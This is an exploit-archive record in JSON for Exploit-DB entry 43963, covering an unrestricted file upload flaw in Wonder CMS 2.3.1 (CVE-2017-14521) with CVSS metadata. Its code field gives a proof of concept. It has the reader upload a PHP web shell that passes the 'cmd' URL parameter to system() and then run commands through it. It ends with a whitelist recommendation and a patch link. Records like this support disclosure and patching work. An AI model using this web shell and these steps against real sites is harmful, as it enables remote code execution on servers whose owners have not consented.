{"exploit":{"id":"EDB-43963","name":"Wonder CMS 2.3.1 - Unrestricted File Upload","description":"Wonder CMS 2.3.1 - Unrestricted File Upload","cves":["CVE-2017-14521"],"author":"Samrat Das","published":"2018-02-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43963","path":"exploits/php/webapps/43963.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43963.txt","vulnerabilities":[{"id":"CVE-2017-14521","state":"PUBLISHED","title":null,"titleSource":null,"description":"In WonderCMS 2.3.1, the upload functionality accepts random application extensions and leads to malicious File Upload.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-14521","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-14521"},"updatedAt":"2024-08-05T19:27:40.825Z","retrievedAt":"2026-11-26T16:27:50.719Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43963.png?v=2","url":"https://exploitbin.com/exploits/EDB-43963","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43963/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43963/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Affected Code:\n\npublic static function _uploadFile() { +\n- if ( ! wCMS::$loggedIn && ! isset($_FILES['uploadFile']) && ! isset($_REQUEST['token'])) return; + private static function uploadFileAction()\n- if (isset($_REQUEST['token']) && $_REQUEST['token'] == wCMS::_generateToken() && isset($_FILES['uploadFile'])) {\n\n\nProof of Concept\nSteps to Reproduce:\n\n1. Login with a valid credentials\n2. Select Files option from the Settings menu of Content\n3. Upload a file with php extension containing the below code:\n\n           <?php\n\n $cmd=$_GET['cmd'];\n\n system($cmd);\n\n ?>\n\n4. Click on Upload\n5. Once the file is uploaded Click on the uploaded file and add ?cmd= to\nthe URL followed by a system command such as whoami,time,date etc.\nExample:\nhttp://localhost:8081/wondercms/files/shell.php?cmd=dir\n\nRecommended Patch:\n\nCreate a whitelist of allowed filetypes.\n\nThe patch that addresses this bug is available here:\n\nhttps://github.com/robiso/WonderCMS-testRepo/commit/8bd6cf9f3bf6a1d0123eb8b646584a63ee323c8a?diff=split\n\nAt line 742","sha256":"ecd94ca2e110be55751696465fde6d4c473f455ae298f72e1bcd68e123a0dfdc","bytes":1028,"fetchedAt":"2026-11-26T16:07:45.127Z","encoding":"utf-8 (display only; download retains original bytes)"}